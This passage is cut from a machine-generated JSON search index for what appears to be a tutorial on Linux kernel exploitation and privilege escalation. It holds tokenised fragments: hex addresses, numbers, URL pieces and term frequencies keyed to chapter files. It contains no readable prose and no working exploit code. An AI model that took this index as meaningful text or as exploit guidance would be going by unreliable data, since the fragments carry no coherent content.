","https://www.blackhat.com/docs/eu","https://www.gnu.org/software/libc/manual/html_node/scatter_002dgather.html","https://www.redhat.com/en/topics/linux/what","https://www.youtube.com/watch?v=tawq4ezgeio","i/o","kernel","lightweight","linux","pages/man2/readv.2.html","process","referenc","report","resourc","root","root/","seccomp","selinux","shen","sourc","uaf/","vector","weight_process","wild","wp.pdf","zero/issues/detail?id=1942"]},"length":10},"tokenStore":{"root":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.006956521739130435}}},"2":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{},"e":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}},"2":{"4":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"1":{"0":{"0":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"4":{"0":{"0":{"1":{"9":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"2":{"docs":{},"e":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}},"docs":{}},"4":{"7":{"docs":{},"d":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}},"docs":{}},"docs":{}},"8":{"2":{"3":{"3":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"a":{"4":{"6":{"1":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"4":{"7":{"docs":{},"f":{"7":{"8":{"8":{"7":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{},"c":{"docs":{},"f":{"docs":{},"d":{"0":{"2":{"7":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}}}}},"7":{"4":{"9":{"6":{"1":{"1":{"6":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"9":{"7":{"6":{"4":{"5":{"7":{"3":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"d":{"docs":{},"a":{"7":{"docs":{},"c":{"6":{"5":{"5":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}},"docs":{}},"1":{"0":{"0":{"1":{"2":{"0":{"0":{"0":{"docs":{},"e":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"2":{"4":{"6":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"7":{"docs":{},"f":{"docs":{},"f":{"docs":{},"e":{"9":{"7":{"6":{"0":{"docs":{},"f":{"docs":{},"e":{"1":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{},"e":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}},"docs":{}},"docs":{}},"2":{"docs":{},"b":{"docs":{},":":{"0":{"0":{"0":{"0":{"7":{"docs":{},"f":{"docs":{},"f":{"docs":{},"e":{"9":{"7":{"6":{"0":{"docs":{},"f":{"docs":{},"e":{"1":{"8":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}},"3":{"3":{"docs":{},":":{"0":{"docs":{},"x":{"4":{"0":{"4":{"7":{"docs":{},"d":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"4":{"docs":{},"/":{"0":{"1":{"docs":{},"/":{"2":{"0":{"1":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002898550724637681},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},"x":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.03109843081312411},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"1":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455}}},"3":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}}},"docs":{}},"docs":{}},"docs":{}},"7":{"2":{"0":{"1":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"2":{"0":{"0":{"0":{"0":{"0":{"1":{"docs":{},"b":{"3":{"5":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"8":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"1":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}},"docs":{}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"d":{"3":{"2":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"docs":{}},"docs":{}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"2":{"0":{"0":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"docs":{}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}},"3":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"f":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}}}},"4":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"0":{"1":{"0":{"2":{"0":{"0":{"docs":{},"(":{"docs":{},"s":{"docs":{},"l":{"docs":{},"a":{"docs":{},"b":{"docs":{},"|":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"4":{"6":{"2":{"0":{"8":{"docs":{},"u":{"docs":{},"l":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"1":{"4":{"1":{"4":{"1":{"4":{"1":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"2":{"4":{"2":{"4":{"2":{"4":{"2":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"3":{"7":{"3":{"6":{"5":{"6":{"4":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"4":{"6":{"5":{"6":{"1":{"4":{"4":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"7":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"8":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004760571268552226}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"8":{"8":{"0":{"0":{"docs":{},"c":{"1":{"8":{"docs":{},"f":{"2":{"0":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"1":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"2":{"0":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"3":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"4":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"8":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0017118402282453639}}},"docs":{}},"5":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"6":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"7":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"8":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"9":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"docs":{},"a":{"0":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}},"8":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}},"docs":{}},"b":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}}},"docs":{}},"c":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"d":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"e":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"f":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}}},"3":{"0":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"1":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"2":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"3":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"4":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"5":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"6":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"7":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"8":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"9":{"0":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}},"docs":{}},"docs":{}},"6":{"0":{"0":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"3":{"3":{"5":{"2":{"1":{"docs":{},"d":{"4":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"5":{"8":{"0":{"docs":{},"f":{"1":{"4":{"8":{"0":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{},"c":{"0":{"5":{"docs":{},"c":{"docs":{},"a":{"docs":{},"e":{"0":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245}}},"docs":{}}}}},"docs":{}},"docs":{}}},"6":{"3":{"docs":{},"a":{"1":{"4":{"docs":{},"b":{"0":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}},"docs":{}},"f":{"docs":{},"e":{"8":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}}}},"5":{"1":{"8":{"8":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}},"docs":{},"c":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"6":{"docs":{},"e":{"0":{"1":{"6":{"docs":{},"c":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}},"7":{"9":{"3":{"docs":{},"c":{"0":{"0":{"0":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}},"docs":{},"d":{"4":{"docs":{},"b":{"docs":{},"b":{"2":{"0":{"0":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"8":{"0":{"2":{"0":{"0":{"0":{"0":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{},"a":{"docs":{},"a":{"5":{"8":{"6":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{},"b":{"docs":{},"e":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"docs":{}}}},"8":{"2":{"4":{"0":{"4":{"7":{"docs":{},":":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"1":{"4":{"3":{"3":{"docs":{},"a":{"docs":{},"c":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}}}},"docs":{}},"docs":{}},"6":{"docs":{},"a":{"docs":{},"c":{"docs":{},"f":{"docs":{},"e":{"8":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}}}}}},"docs":{}},"2":{"docs":{},"b":{"3":{"4":{"0":{"2":{"8":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}},"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{},"f":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"e":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}}}}}}}}}}},"a":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"8":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"docs":{}},"%":{"docs":{},"l":{"docs":{},"x":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"\"":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}},"x":{"docs":{},"\"":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}},"b":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"8":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"docs":{}},"c":{"0":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"8":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"docs":{}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.005965061780997018},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0025677603423680455},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}}},".":{"0":{"0":{"0":{"0":{"0":{"0":{"docs":{},"]":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"8":{"4":{"docs":{},"s":{"docs":{},")":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"docs":{}},"docs":{}},"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"t":{"docs":{},"h":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"1":{"0":{"0":{"0":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"6":{"4":{"4":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},".":{"0":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"docs":{}}},"1":{"docs":{},":":{"2":{"7":{"docs":{},":":{"0":{"7":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"2":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"3":{"2":{"docs":{},",":{"1":{"9":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"docs":{}},"docs":{}}},"docs":{}},"6":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},"/":{"docs":{},"m":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"a":{"docs":{},"l":{"docs":{},"s":{"docs":{},"/":{"docs":{},"e":{"docs":{},"u":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}}}}}}}}}},"8":{"2":{"docs":{},"a":{"7":{"6":{"docs":{},"b":{"docs":{},"a":{"7":{"0":{"5":{"3":{"docs":{},"a":{"docs":{},"f":{"5":{"2":{"1":{"docs":{},"e":{"4":{"docs":{},"c":{"0":{"docs":{},"d":{"5":{"docs":{},"f":{"docs":{},"d":{"6":{"2":{"1":{"3":{"4":{"docs":{},"f":{"1":{"docs":{},"e":{"3":{"2":{"3":{"1":{"9":{"1":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}},"docs":{}},"docs":{}}},"docs":{},".":{"0":{"4":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},"docs":{}},"docs":{}}},"9":{"9":{"6":{"docs":{},")":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}}},"docs":{}},"docs":{}},"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},".":{"1":{"1":{"docs":{},".":{"1":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"c